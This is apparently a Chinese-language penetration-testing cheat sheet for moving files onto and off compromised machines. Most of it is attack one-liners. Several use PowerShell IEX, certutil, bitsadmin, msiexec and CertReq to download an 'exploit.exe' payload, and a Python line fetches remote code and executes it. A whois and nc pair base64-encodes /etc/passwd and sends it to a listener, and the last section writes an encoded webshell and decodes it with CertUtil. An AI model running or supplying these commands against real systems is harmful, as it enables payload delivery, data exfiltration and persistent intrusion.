项目开源地址：File-Download-Generator

HTTP Server

Python HTTP:

python -m SimpleHTTPServer 8080

Python3 HTTP:

python3 -m http.server 8080

Python FTP:

python -m pyftpdlib -p 8080

Python3 SMB:

python3 impacket-smbserver.py files . -port 8080

PHP 5.4+:

php -S 0.0.0.0:8080

Ruby:

ruby -rwebrick -e'WEBrick::HTTPServer.new(:Port => 8080, :DocumentRoot => Dir.pwd).start'

Ruby 1.9.2+:

ruby -run -e httpd . -p 8080

busybox httpd:

busybox httpd -f -p 8080

Download the files

PowerShell - IWR:

powershell.exe -Command "Invoke-WebRequest -Uri http://127.0.0.1:8080/ms10-051.exe -OutFile exploit.exe"

PowerShell - IEX:

powershell.exe -Command "IEX(New-Object Net.WebClient).DownloadFile('http://127.0.0.1:8080/ms10-051.exe', exploit.exe)"

CMD - Certutil:

certutil.exe -urlcache -split -f http://127.0.0.1:8080/ms10-051.exe exploit.exe

CMD - SMB:

copy \\127.0.0.1\files\ms10-051.exe exploit.exe

Linux - wget:

wget http://127.0.0.1:8080/ms10-051.exe -O exploit.exe

Linux - curl:

curl http://127.0.0.1:8080/ms10-051.exe -o exploit.exe

Windows Bitsadmin:

bitsadmin /rawreturn /transfer down "http://127.0.0.1:8080/ms10-051.exe" c:\\exploit.exe

Windows msiexec:

msiexec /q /i http://127.0.0.1:8080/ms10-051.exe

Windows msiexec:

msiexec /q /%os:~1,1%http://127.0.0.1:8080/ms10-051.exe

Python Download:

python -c "import urllib2; exec urllib2.urlopen('http://127.0.0.1:8080/ms10-051.exe').read();"

Windows IPC$:

copy \127.0.0.1\c$\ms10-051.exe C:\exploit.exe

Linux whois:

whois -h 127.0.0.1 -p 8080 `cat /etc/passwd | base64`
nc -lvvp 8080 | sed "s/ //g" | base64 -d

CertReq.exe 下载:

CertReq -Post -config http://127.0.0.1:8080/ c:\windows\win.ini output.txt

CertReq.exe 上传:

CertReq -Post -config http://127.0.0.1:8080/ c:\windows\win.ini and show response in terminal

Windows echo 写入base64+url编码的webshell，CertUtil进行解码:

#写入：
echo%20base64+URL编码的webshell%20>webshell.jsp
#CertUtil解码:
CertUtil -decode Base64编码文件名(可包含路径) 解码后生成的文件名(可包含路径)
#注意：CertUtil解码不能与存在的文件名重复

参考File Download Generator：https://file-downloads.com/